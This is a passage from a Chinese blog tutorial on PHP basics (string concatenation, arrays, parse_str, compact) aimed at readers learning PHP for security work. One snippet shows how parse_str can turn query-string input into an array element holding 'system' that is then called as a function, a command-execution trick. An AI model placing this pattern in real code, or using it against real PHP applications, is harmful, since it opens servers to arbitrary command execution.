    $b = 'b'; //赋值
    $c = 'c'; //赋值
    $c .= $a;
    $c .= $b;
    
    echo $c; //cab
    .= 通俗的说,就是累积
    += 意思是:左边的变量的值加上右边的变量的值,再赋给左边的变量
    0.2 数组
    array() 函数用于创建数组
    
    $shuzu = array("AabyssZG","AabyssTeam");
    echo "My Name is " . $shuzu[0] . ", My Team is " . $shuzu[1] . ".";
    //My Name is AabyssZG, My Team is AabyssTeam.
    数组可嵌套:
    
    $r = 'b[]=AabyssZG&b[]=system';
    $rce = array();      //用array函数新建数组
    parse_str($r, $rce); //这个函数下文有讲
    print_r($rce);
    $rce 数组输出为:
    
    Array (
        [b] => Array
            (
                [0] => AabyssZG
                [1] => system
            )
    )
    这时候可以这样利用
    
    $rce['b'][1](参数);    //提取rce数组中的b数组内容,相当于system(参数)
    echo $rce['b'][0];    //AabyssZG
    使用 [] 定义数组
    
    $z = ['A','a','b', 'y', 's', 's'];
    $z[0] = 'A';
    $z[1] = 'a';
    $z[2] = 'b';
    $z[3] = 'y';
    $z[4] = 's';
    $z[5] = 's';
    这就是基本的一个数组,数组名为z,数组第一个成员为0,以此类推
    
    compact() 函数用于创建数组创建一个包含变量名和它们的值的数组
    
    $firstname = "Aabyss";
    $lastname = "ZG";
    $age = 
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
  • 相关阅读:
    微信小程序在TS模板下引入TDesign组件
    聚星文社同款绘唐科技——小说推文一键AI生成工具
    springboot基础(60):完整的自定义ip-spring-boot-starter(包含yml提示功能)
    KekeBlog项目实战后台模块(二)(已完结)
    (二十)数据结构-查找的基本概念
    软件测试:测试分类
    actual combat 33 —— Vue实战遇到的问题
    深入解析哈希表、哈希映射和并发哈希映射的区别,以及死锁的成因和解决方案
    2022 极术通讯-安谋科技加大自研投入,稳步推进多领域发展
    VM——“图形收集”显示ROI框及颜色
  • 原文地址:https://blog.csdn.net/qq_33608000/article/details/134247502